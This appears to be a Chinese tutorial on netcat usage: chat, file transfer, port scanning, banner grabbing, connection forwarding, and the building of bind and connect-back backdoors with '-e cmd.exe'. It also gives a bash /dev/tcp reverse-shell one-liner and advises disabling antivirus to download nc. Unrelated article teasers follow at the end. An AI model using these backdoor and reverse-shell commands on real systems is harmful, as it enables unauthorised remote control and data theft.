netcat的使用

news2024/11/16 1:24:50

目录

netcat简介

nc的使用场景

nc实现通信

创建一个服务端

创建一个客户端

具体案例

环境

win10在具体路径下执行命令

win7在具体路径下执行命令

netcat文件传输

nc文件传输的利用

服务器等待接收文件

客户端向服务器发送文件

服务器向连接的客户端发送文件

客户端向服务器接收文件

netcat的信息探测

端口扫描

banner抓取

netcat建立后门

建立监听后门

创建一个服务器端

创建一个客户端

建立连接型后门

创建一个服务端

创建一个客户端

netcat的命令参数介绍

参数

netcat连接转发

前言

连接转发案例

环境配置

win7目标机创建服务

win10内创建脚本文件

kail借助win10连接win7

netcat反弹shell

PC接收netcat命令

linux内反弹shell

netcat简介

在网络中有瑞士军刀美誉的netcat,在我们用了N年后依然爱不释手,这是一个非常简单易用的基于TCP/IP协议的瑞士军刀。

nc下载地址:https://eternallybored.org/misc/netcat/

注意:这里下载的时候会报出包含病毒,关闭杀毒软件忽略即可

nc的使用场景

解释:客户端连接服务器会被防火墙阻止,但是服务器访问客户端不会被防火墙拦截;因此可以把服务器作为nc客户端,客户端电脑作为nc服务端来进行连接

nc实现通信

创建一个服务端

语法:nc -l -p 端口

参数:

  • -l:监听模式
  • -p:监听的端口

解释:创建一个nc服务端用来监听该服务端端口的连接状态

创建一个客户端

语法:nc 要连接的服务端IP地址 要连接的服务端端口

解释:创建一个客户端用来连接特定服务端

具体案例

环境

  • win10客户机:使用桥接模式(IP地址:192.168.1.22)
  • win7客户机:使用nat模式(IP地址:192.168.126.155)

注意:win7有网关,处于内网环境,可以连接桥接的win10

win10在具体路径下执行命令

win7在具体路径下执行命令

结果:就可以在命令行相互通信了

netcat文件传输

nc文件传输的利用

  • 取证:当目标机器被黑客攻击之后,取证人员可以利用nc的文件传输功能来获取目标机器上的文件内容,避免直接在目标机器上进行操作造成取证的误差
  • 获取目标机器上的敏感文件:当目标机器上有一些文件内容无法正常下载时,可以利用nc进行文件传输

注意:nc中的数据传输使用的是标准输入、输出流,所以可以直接利用命令来进行操作

服务器等待接收文件

语法:nc -l -p 本地端口 > 服务器本地文件名

解释:将服务器接收的文件内容输出到文件中

客户端向服务器发送文件

语法:nc 服务器IP地址 服务器端口 < 客户端的文件名

解释:将客户端内的具体文件发送到服务器中

服务器向连接的客户端发送文件

语法:nc -l -p 本地端口 < 服务器本地文件名

客户端向服务器接收文件

语法:nc 服务器IP地址 服务器端口 > 文件名

netcat的信息探测

端口扫描

命令:nc -v -n -z -w1 目标IP 起始端口号-中止的端口号

参数

  • -v:对错误进行详细的输出
  • -n:不对目标机器进行DNS解析
  • -z:zero I/O模式,专门用于端口扫描;表示对目标IP发送的数据表中不包含任何的payload,这样做可以加快扫描速度
  • -w1:超时设置为1s

banner抓取

语法:echo "" | nc -v -n -w1 目标IP 起始端口-结束端口

注意:通过banner信息就可以获取目标机器上的某些信息(操作系统)

netcat建立后门

前言:netcat的一切数据都是通过标准输入/输出流实现的,所以可以利用netcat的命令进行后门的建立,并传输结果信息

建立监听后门

创建一个服务器端

语法:nc -l -p 本地端口 -e cmd.exe

注意:-e表示连接之后要返回给连接端对应的程序

创建一个客户端

语法:nc 服务器IP地址 服务器端口

结果:在客户端返回服务端的cmd(linux中使用的是bash)

建立连接型后门

创建一个服务端

语法:nc -l -p 本地端口

创建一个客户端

语法:nc 服务端IP地址 服务端端口 -e cmd.exe

理解:当客户端连接服务器时就会把客户端的cmd返回给服务器

netcat的命令参数介绍

查看nc命令参数:nc -h

参数

  • -d:脱离命令行窗口,在后台运行
  • -e:执行某个程序,常用于后门建立过程
  • -G gateway:设置网关,常用于突破内网限制
  • -g num:表示路由的跳数
  • -i sec:设置发送每一行数据的时间间隔,单位s
  • -l:设置netcat处于监听状态,等待连接
  • -L:设置netcat处于监听状态,等待连接(当客户端断开,服务端依旧回到等待状态)
  • -n:设置netcat只是识别IP地址,不进行dns解析
  • -o:设置传输16进制的数据
  • -p:设置本地监听的端口号
  • -r:设置netcat随机化的端口号
  • -s:用于设置netcat的源地址(用于隐藏自己IP)
  • -t:回复telnet的请求数据包
  • -u:设置netcat使用udp方式
  • -v:显示错误提示信息
  • -w secs:用来设置连接超时秒数
  • -z:设置扫描模式,表示发送的数据包不包含任何payload

注意:netcat的所有请求默认都是使用TCP协议

netcat连接转发

前言

理解:两台服务器可以互相访问,一台笔记本仅可以与右边的服务器进行相互访问,此时该笔记本想要与上面的服务器互相访问就需要借助右边的服务器进行连接转发

连接转发案例

环境配置

  • win10物理机:用作转发服务器,IP地址为192.168.1.22
  • win7:用作内网服务器,nat模式,IP地址为192.168.126.155
  • kail:用作外面客户端,桥接模式

win7目标机创建服务

执行:nc.exe -l -p 2222

win10内创建脚本文件

注意:里面填的是要连接的目的ip与端口(win10必须能够与该服务器相互连接)

执行:nc.exe -l -p 3333 -e delay.bat

理解:连接win10的3333端口就会执行delay.bat脚本文件。

kail借助win10连接win7

执行:nc 192.168.1.22 3333

结果:执行该命令后就会与win7连接

netcat反弹shell

前言:某些情况下拿到服务器权限之后,想要设置一个反弹shell,但是目标服务器上没有安装netcat就需要此功能

PC接收netcat命令

语法:nc -lvp 本地端口

linux内反弹shell

语法:bash -i >& /dev/tcp/反弹的目标ip/目标port 0>&1

解释:

  • 在命令行中bash -i表示交互模式运行bash shell。重定向符>&,若在其后加文件描述符,是将bash -i交互模式传递给文件描述符,而若其后是文件,则将bash -i交互模式传递给文件。
  • 文件描述符(0:标准输入,1:标准输出,2:错误输入输出)命令中0>&1表示将标准输入重定向到标准输出,实现远程的输入可以在远程输出对应内容

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/963805.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

内网隧道代理技术(二十)之 CS使用HTTP代理上线不出网机器

CS使用HTTP代理上线不出网机器 CS工具自带上线不出网机器 如图A区域存在一台中转机器,这台机器可以出网,这种是最常见的情况。我们在渗透测试的过程中经常是拿下一台边缘机器,其有多块网卡,边缘机器可以访问内网机器,内网机器都不出网。这种情况下拿这个边缘机器做中转,…

OpenSIPS 管理接口的对接

文章目录 1. 背景2. OpenSIPS 的 HTTP 管理接口对接2.1 脚本配置2.2 请求方式 1. 背景 OpenSIPS 是功能完善的开源 SIP 代理服务器&#xff0c;它在支持 SIP 代理的主要功能以外&#xff0c;也为使用者提供了一套 MI 管理接口。面向不同的通信方式&#xff0c;OpenSIPS 还提供…

训练简单的线性模型,预测电影评分和票房收入

文章目录 训练简单的线性模型&#xff0c;预测电影评分和票房收入数据集加载数据可视化数据分割数据集训练模型可视化结果应用模型保存和加载模型 训练简单的线性模型&#xff0c;预测电影评分和票房收入 这是一个简单的线性模型&#xff0c;用于预测电影的评分和票房收入。不…

Mysql 性能分析(慢日志、profiling、explain)、读写分离(主从架构)、分库分表(垂直分库、垂直分表、水平分表)

查看系统性能参数 一条sql查询语句在执行前&#xff0c;需要确定查询执行计划&#xff0c;如果存在多种执行计划的话&#xff0c;mysql会计算每个执行计划所需要的成本&#xff0c;从中选择 成本最小的一个作为最终执行的执行计划 想要查看某条sql语句的查询成本&#xff0c;可…

【LeetCode算法系列题解】第21~25题

CONTENTS LeetCode 21. 合并两个有序链表&#xff08;简单&#xff09;LeetCode 22. 括号生成&#xff08;中等&#xff09;LeetCode 23. 合并K个升序链表&#xff08;困难&#xff09;LeetCode 24. 两两交换链表中的节点&#xff08;中等&#xff09;LeetCode 25. K 个一组翻转…

Python 中的类,包括self关键字、类的属性限制访问

Python 中的类 一 、类和对象1.概念2.写法&#xff1a; 二、 self用法详解1.self代表类的实例&#xff0c;而非类2.self可以不写吗&#xff1f;3.在继承时&#xff0c;self的使用。 三、 属性限制访问1. 系统定义2.保护类型成员3.私有类型成员 一 、类和对象 1.概念 类是封装…

房屋装修选择自装,如何寻找木工师傅,比价全屋定制和木工并施工(木工阶段)

环境&#xff1a; 地点&#xff1a;杭州 装修类型&#xff1a;自装 面积&#xff1a;建面135平方 进度&#xff1a;木工阶段 问题描述&#xff1a; 房屋装修选择自装&#xff0c;如何寻找木工师傅&#xff0c;比价全屋定制和木工并施工&#xff08;木工阶段&#xff09; …

SpringBoot项目通过分词器生成词云

目录 前言一、词云是什么&#xff1f;二、使用步骤1.引入依赖2.application.yml3.Controller4.分词工具类4.词云生成工具类、支持输出文件和字节流 注意 前言 公司项目涉及到员工任务管理&#xff0c;需要从员工任务中获取任务信息生成个人词云图&#xff0c;可以把员工任务中…

【小沐学Unity3d】3ds Max 骨骼动画制作(CAT、Character Studio、Biped、骨骼对象)

文章目录 1、简介2、 CAT2.1 加载 CATRig 预设库2.2 从头开始创建 CATRig 3、character studio3.1 基本描述3.2 Biped3.3 Physique 4、骨骼系统4.1 创建方法4.2 简单示例 结语 1、简介 官网地址&#xff1a; https://help.autodesk.com/view/3DSMAX/2018/CHS https://help.aut…

Python基础之基础语法(二)

Python基础之基础语法(二) 语言类型 静态语言 如&#xff1a;C C Java ina a 100 a 100 a abc # 不可以静态语言需要指定声明标识符的类型&#xff0c;之后不可以改变类型赋值。静态语言变异的时候要检查类型&#xff0c;编写源代码&#xff0c;编译时检查错误。 动态语…

jupyter常用的方法以及快捷键

选中状态 蓝色 按enter 进入编辑状态 编辑状态 绿色 按Esc 进入选中状态 Code模式运行是运行代码 Markdown模式运行是进入预览状态 - - - 是文本格式的一种精简的语法形式 Raw NBConvert 是默认文本状态 - - - 输入什么样 展示什么样 Y - - - 切换code模式 M - - - 切换Markdo…

01-虚拟机安装Windows Server操作系统

1、创建并配置虚拟机 2、安装操作系统 找到windows Server镜像 等待安装 3、设置密码

Linux用一键安装包部署禅道(18.5版本)

一、安装 禅道软件下载地址&#xff1a;禅道官方下载地址 - 禅道开源项目管理软件 - 禅道开源项目管理软件 请根据自己的需要下载对应的版本。 官方教程地址: (推荐)Linux用一键安装包 - 禅道使用手册 - 禅道开源项目管理软件 注&#xff1a;Linux 一键安装包必须直接解压到 …

win11右键菜单恢复win10风格

输入以下命令 reg.exe add "HKCU\Software\Classes\CLSID\{86ca1aa0-34aa-4e8b-a509-50c905bae2a2}\InprocServer32" /f /ve

uniapp实现移动端的视频图片轮播组件

1、视频轮播组件app体验地址 https://tt.appc02.com/nesxr6 2、支持小程序、H5、APP&#xff0c;在小程序上运行的效果图 3、使用方法 第一步&#xff0c;按照截图步骤配置好 第二步&#xff1a;参考以下代码&#xff0c;使用视频图片轮播组件 <template><view>…

机器学习:Xgboost

Xgboost XGBoost&#xff08;eXtreme Gradient Boosting&#xff09;是一种机器学习算法&#xff0c;是梯度提升决策树&#xff08;Gradient Boosting Decision Trees&#xff09;的一种优化实现。它是由陈天奇在2014年开发并推出的。XGBoost是一种强大而高效的算法&#xff0…

【Sprig AOP】

目录 &#x1f957;1 AOP 的思想 &#x1f35a;2 AOP 的组成 &#x1f95a;2.1 切面 &#x1f359;3 AOP 的实现 &#x1f364;3.1 添加 Spring AOP 依赖 &#x1f96b;3.2 定义切面 &#x1f363;3.3 定义切点 &#x1f373;3.4 实现通知 &#x1f354;4 AOP 实现的一个例子 1…

RHCE——十五、shell条件测试

RHCE 一、用途二、基本语法1、格式2、示例 三、文件测试1、参数2、示例 四、整数测试1、作用2、操作符3、示例4、案例分析 五、逻辑操作符1、符号2、例 六、命令分隔符 一、用途 为了能够正确处理Shell程序运行过程中遇到的各种情况&#xff0c;Linux Shell提供了一组测试运算…

电商项目part10 高并发缓存实战

缓存的数据一致性 只要使用到缓存&#xff0c;无论是本地内存做缓存还是使用 redis 做缓存&#xff0c;那么就会存在数据同步的问题。 先读缓存数据&#xff0c;缓存数据有&#xff0c;则立即返回结果&#xff1b;如果没有数据&#xff0c;则从数据库读数据&#xff0c;并且把…

2023-9-2 二分图的最大匹配

题目链接&#xff1a;二分图的最大匹配 #include <iostream> #include <cstring> #include <algorithm>using namespace std;const int N 510, M 100010;int n1, n2, m; int h[N], e[M], ne[M], idx;// 右边点所对应的左边的点 int match[N]; bool st[N];v…